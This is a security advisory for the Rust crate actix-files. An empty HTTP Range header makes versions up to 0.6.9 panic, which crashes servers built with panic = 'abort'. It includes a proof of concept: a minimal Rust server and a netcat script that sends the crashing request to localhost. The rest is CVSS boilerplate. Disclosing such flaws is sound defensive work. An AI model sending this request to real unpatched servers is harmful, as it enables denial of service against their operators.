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[actix-files] Panic triggered by empty Range header in GET request for static file

Moderate
JohnTitor published GHSA-gcqf-3g44-vc9p Feb 6, 2026

Package

cargo actix-files (Rust)

Affected versions

<= 0.6.9

Patched versions

0.6.10

Description

Summary

A GET request for a static file served by actix-files with an empty Range header triggers a panic. With panic = "abort", a remote user may crash the process on-demand.

Details

actix-files assumes that HttpRange::parse(), when Ok, always returns a vector with at least one element. When parse() is called on an empty string, it returns Ok(vec![]). This can cause a panic at named.rs:534 when handling an HTTP request with an empty Range: header. This shouldn't significantly impact programs built with the default panic = "unwind", as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built with panic = "abort" are vulnerable to being crashed on-demand by any user with permissions to perform a GET request for a static file served by actix-files.

actix-web/actix-files/src/named.rs

Lines 530 to 535 in 0383f4b

// check for range header
if let Some(ranges) = req.headers().get(header::RANGE) {
if let Ok(ranges_header) = ranges.to_str() {
if let Ok(ranges) = HttpRange::parse(ranges_header, length) {
length = ranges[0].length;
offset = ranges[0].start;

PoC

Minimal reproduction

Cargo.toml:

[package]
name = "example"
version = "0.1.0"
edition = "2021"

[dependencies]
actix-web = "=4.5.1"
actix-files = "=0.6.5"

[profile.dev]
panic = "abort"

src/main.rs:

use actix_files::NamedFile;
use actix_web::{get, Responder};

#[get("/")]
async fn index() -> impl Responder {
    NamedFile::open("test_file")
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    use actix_web::{App, HttpServer};

    HttpServer::new(|| App::new().service(index))
        .bind(("127.0.0.1", 8080))?
        .run()
        .await
}

test.sh:

#!/bin/bash

echo foo > test_file
cargo b
cargo r&
sleep 1
nc 127.0.0.1 8080 << EOF
GET / HTTP/1.1
Range:

EOF
kill %1

Create these files, then run chmod +x test.sh && ./test.sh. The server should start, then crash upon receiving the GET request from netcat.

This assumes a reasonably UNIX-like system with Rust, bash and netcat installed.

Impact

I believe only programs compiled with panic = "abort" are affected significantly. The only potential impact I can see is denial-of-service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.

Though the impact in the worst case is significant, I expect the real-world risk of this vulnerability to be limited, as I would hope anyone for whom uptime is a significant concern would not compile their program with panic = "abort".

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits